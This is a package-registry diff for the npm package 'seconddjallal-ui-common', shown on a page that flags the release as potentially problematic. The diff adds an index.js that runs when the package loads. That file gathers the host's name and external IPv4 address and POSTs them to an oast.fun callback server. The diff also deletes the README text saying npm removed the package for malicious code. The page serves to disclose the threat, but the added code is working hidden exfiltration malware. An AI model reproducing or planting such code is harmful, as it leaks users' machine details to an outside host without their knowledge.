seconddjallal-ui-common 0.0.1-security → 10.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of seconddjallal-ui-common might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +76 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,76 @@
1
+ const os = require('os');
2
+ const http = require('http'); // or use 'https' if you're sending to an HTTPS server
3
+
4
+ // Function to get the hostname and IP address
5
+ function getMachineInfo() {
6
+ const hostname = os.hostname();
7
+ const networkInterfaces = os.networkInterfaces();
8
+
9
+ // Define interfaces commonly used for SSH access
10
+ const preferredInterfaces = ['eth0', 'en0', 'wlan0']; // Adjust this for your environment
11
+
12
+ // Get the first non-internal IPv4 address
13
+ let ipAddress = '';
14
+ for (let interfaceName in networkInterfaces) {
15
+ if (preferredInterfaces.includes(interfaceName)) {
16
+ networkInterfaces[interfaceName].forEach(interface => {
17
+ if (!interface.internal && interface.family === 'IPv4') {
18
+ ipAddress = interface.address;
19
+ }
20
+ });
21
+ }
22
+ }
23
+
24
+ // If no preferred interface was found, fallback to the first non-internal IPv4
25
+ if (!ipAddress) {
26
+ for (let interfaceName in networkInterfaces) {
27
+ networkInterfaces[interfaceName].forEach(interface => {
28
+ if (!interface.internal && interface.family === 'IPv4') {
29
+ ipAddress = interface.address;
30
+ }
31
+ });
32
+ }
33
+ }
34
+
35
+ return { hostname, ipAddress };
36
+ }
37
+
38
+ // Function to send the machine info to a specified URL
39
+ function sendMachineInfo() {
40
+ const data = JSON.stringify(getMachineInfo());
41
+
42
+ const options = {
43
+ hostname: 'crm9ht665q41e9qp7tv074zom5hymcgat.oast.fun', // Replace with the actual server hostname
44
+ port: 80, // Change to 443 for HTTPS
45
+ method: 'POST',
46
+ headers: {
47
+ 'Content-Type': 'application/json',
48
+ 'Content-Length': data.length
49
+ }
50
+ };
51
+
52
+ const req = http.request(options, (res) => {
53
+ let responseData = '';
54
+
55
+ // Collect response data
56
+ res.on('data', (chunk) => {
57
+ responseData += chunk;
58
+ });
59
+
60
+ res.on('end', () => {
61
+ console.log('Response from server:', responseData);
62
+ });
63
+ });
64
+
65
+ // Handle any errors with the request
66
+ req.on('error', (e) => {
67
+ console.error(`Problem with request: ${e.message}`);
68
+ });
69
+
70
+ // Send the request with the data
71
+ req.write(data);
72
+ req.end();
73
+ }
74
+
75
+ // Call the function to send machine info
76
+ sendMachineInfo();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "seconddjallal-ui-common",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "10.1.1",
4
+ "description": "djallal",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=seconddjallal-ui-common for more information.